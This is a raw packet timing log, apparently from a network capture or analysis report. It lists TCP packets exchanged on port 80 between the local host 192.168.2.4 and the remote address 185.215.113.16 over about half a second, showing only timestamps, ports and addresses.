Oct 27, 2024 02:03:20.056986094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.099481106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.099514961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.099549055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.099571943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120075941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120110035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120146036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120158911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120194912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120198011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120234966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120285988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120318890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120326996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120352983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120359898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120800972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120871067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120894909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.120903969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120937109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120970011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.120980024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.121005058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.121011972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.121041059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.121253967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.121759892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.121792078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.121825933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.121840000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.162988901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.163963079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.163999081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164033890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164067984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164077997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.164100885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164109945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.164134979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164382935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164416075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164428949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.164448977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164453030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.164752960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164786100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164819002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164829016 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.164855957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.164863110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.165110111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165160894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165194035 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165201902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.165226936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165235996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.165262938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165313959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165358067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.165844917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165879011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.165889978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.165915966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.166183949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.218558073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.218591928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.218624115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.218679905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.238677025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238730907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.238735914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238770962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238816023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.238822937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238854885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238888979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.238929987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.239162922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239197016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239206076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.239229918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239552021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239584923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239598036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.239618063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239623070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.239650965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239701033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.239748955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.240684032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240726948 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.240736961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240787029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240820885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240854025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240863085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.240890026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.240890980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284274101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284326077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284358978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284382105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284390926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284395933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284440994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284492016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284524918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284533024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284559965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284565926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284594059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284626961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284661055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284687996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284691095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284710884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284723043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284755945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284770966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284789085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284821987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284832954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284857988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284892082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284909010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.284926891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284960985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.284974098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.285012960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.285047054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.285057068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.285082102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.285115004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.285139084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.334871054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.337085962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.337121010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.337153912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.337203026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.357561111 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357610941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357644081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357676029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357711077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357743979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357772112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.357778072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357815027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.357825994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358093977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358123064 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358165979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358228922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358261108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358269930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358294964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358328104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358372927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358710051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358752966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358761072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358794928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358828068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358860970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.358870029 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.358901024 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.359289885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.359342098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.359375000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.359415054 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401266098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401300907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401351929 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401352882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401386976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401400089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401418924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401501894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401535034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401546001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401567936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401575089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401777983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401825905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.401827097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.401861906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402019978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402069092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.402072906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402111053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.402122974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402157068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402192116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402235031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.402626991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402672052 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.402678967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402714014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402746916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402780056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.402786970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.402822018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.403178930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.403212070 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.403247118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.403280020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.403291941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.403327942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.403333902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.444226980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.455895901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.455924988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.455949068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.455970049 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476171017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476203918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476237059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476249933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476269007 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476293087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476309061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476358891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476393938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476403952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476427078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476435900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476522923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476557970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476573944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476681948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476712942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476731062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476746082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476811886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.476958990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.476988077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477046967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477075100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477087021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.477133989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.477190971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477240086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477276087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477308989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477315903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.477343082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477348089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.477377892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.477420092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.520514965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520549059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520598888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520644903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.520648003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520682096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520695925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.520714998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520747900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520780087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520787954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.520812988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520821095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.520847082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520898104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.520939112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.521398067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521430969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521441936 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.521466017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521516085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521522999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.521744967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521779060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521790028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.521899939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521934032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.521944046 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.521966934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522006035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.522258997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522293091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522326946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522357941 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.522402048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522435904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.522444010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.560878038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.560914993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.560936928 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.574465990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.574518919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.574520111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.574554920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.574611902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.594626904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594680071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594712973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594744921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594769001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.594779015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594805956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.594898939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594930887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.594957113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.594961882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595088005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.595145941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595176935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595259905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.595283985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595333099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595367908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595379114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.595401049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595474005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.595643997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595678091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595710039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595757961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.595880985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.595968008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.596000910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.596014023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.596035004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.596050978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.596067905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.596117020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638458967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638494968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638545036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638576984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638608932 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638611078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638642073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638649940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638679028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:20.638694048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:20.638817072 CET	80	49738	185.215.113.16	192.168.2.4
